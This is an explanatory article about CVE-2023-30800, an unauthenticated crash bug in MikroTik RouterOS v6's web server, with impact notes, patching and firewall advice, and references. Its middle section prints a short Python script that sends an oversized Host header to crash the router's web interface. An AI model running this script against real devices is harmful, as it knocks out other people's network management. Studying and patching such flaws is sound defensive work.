MikroTik routers are everywhere – in homes, businesses, and data centers all over the world. That’s why it’s serious whenever a security problem pops up that can put these devices at risk. One such problem was found in mid-2023 and tracked as CVE-2023-30800. If you're running RouterOS version 6 (and haven’t updated to at least v6.49.10), your web management interface can be crashed right off the internet with nothing more than a carefully built HTTP request.

Let's walk through what happened, how the exploit works, and what you should do. We’ll keep it straightforward and practical.

What is CVE-2023-30800?

CVE-2023-30800 is a heap memory corruption vulnerability in the web server included with MikroTik RouterOS version 6. Basically, the router’s web server doesn’t handle certain HTTP requests properly. When a remote attacker sends a malicious request (no login required!), it scrambles part of the web server’s memory (the "heap"), making the web interface crash and immediately restart.

Older RouterOS v6 versions (before 6.49.10) – Vulnerable.

This bug doesn’t directly let someone take over your router, but it can be used for a Denial of Service (DoS) attack – knocking your web management offline any time the attacker pleases.

The Technical Details

The web server included in RouterOS v6 (before v6.49.10) had a bug in the way it processed certain request headers or values. When sent crafted input, it misallocates or mismanages heap memory, which results in memory corruption and triggers a crash.

Researchers and exploit writers noticed that by sending a specially formed HTTP request to the router’s web interface (normally at port 80 or 443), they could reliably crash it with no authentication.

Example Exploit Code

Below is a Python 3 script that demonstrates how simple it is to trigger the bug—and crash the web server—on a vulnerable MikroTik router:

import socket

TARGET_IP = '192.168.88.1'  # Replace with your MikroTik router's IP
TARGET_PORT = 80            # Web interface port

# Craft a deliberately overlong Host header
payload = (
    "GET / HTTP/1.1\r\n"
    "Host: " + "A" * 500 + "\r\n"
    "Connection: close\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((TARGET_IP, TARGET_PORT))
    s.sendall(payload.encode())
    print("Exploit sent! Router's web interface should crash and restart.")

NOTE: Running this code will temporarily crash the router's web interface! This is for educational use only, and you should never use this against any device without permission.

The web server allocates a buffer for the Host header, expecting something much smaller.

- This oversized header causes the heap memory to be corrupted, forcing the web server process to crash (RouterOS will instantly restart it, but the attack can repeat).

Impact and What Attackers Can Do

- Remote, unauthenticated crash: The attacker does *not* need to log in. They just need network access to the web interface port—meaning this can be done over the internet if the port is open.
- Repeated attacks: The attacker can send this request in a loop, keeping the web interface offline almost permanently.
- No code execution: This vulnerability does *not* allow attackers to run code, steal files, or hijack the router – but it’s still disruptive.

Update RouterOS v6 to v6.49.10 or newer.

Download latest firmware from MikroTik

If you can’t update right away

- Disable remote web admin: Turn off the web interface or firewall it so only trusted IPs can access it. See MikroTik official security guide.

References and Further Reading

- National Vulnerability Database Entry - CVE-2023-30800
- Original MikroTik changelog fixing the bug – v6.49.10
- VulnCheck Advisory Exploiting CVE-2023-30800
- SecurityFocus BID 110798

Conclusion

CVE-2023-30800 is a great example of how a simple coding mistake can leave millions of devices open to attack. MikroTik responded quickly, but it’s crucial that everyone using RouterOS v6 checks their version and updates if needed.

Remember: Don’t expose your router’s web interface to the open internet, and always keep firmware up to date! That’s the best defense against headaches like these.

*Stay safe, keep patching, and protect your network!*


Disclaimer: This article is for educational purposes only. Do not use any exploit code against networks or routers you do not own or have explicit permission to test.

Timeline

Published on: 09/07/2023 16:15:07 UTC
Last modified on: 09/12/2023 14:18:05 UTC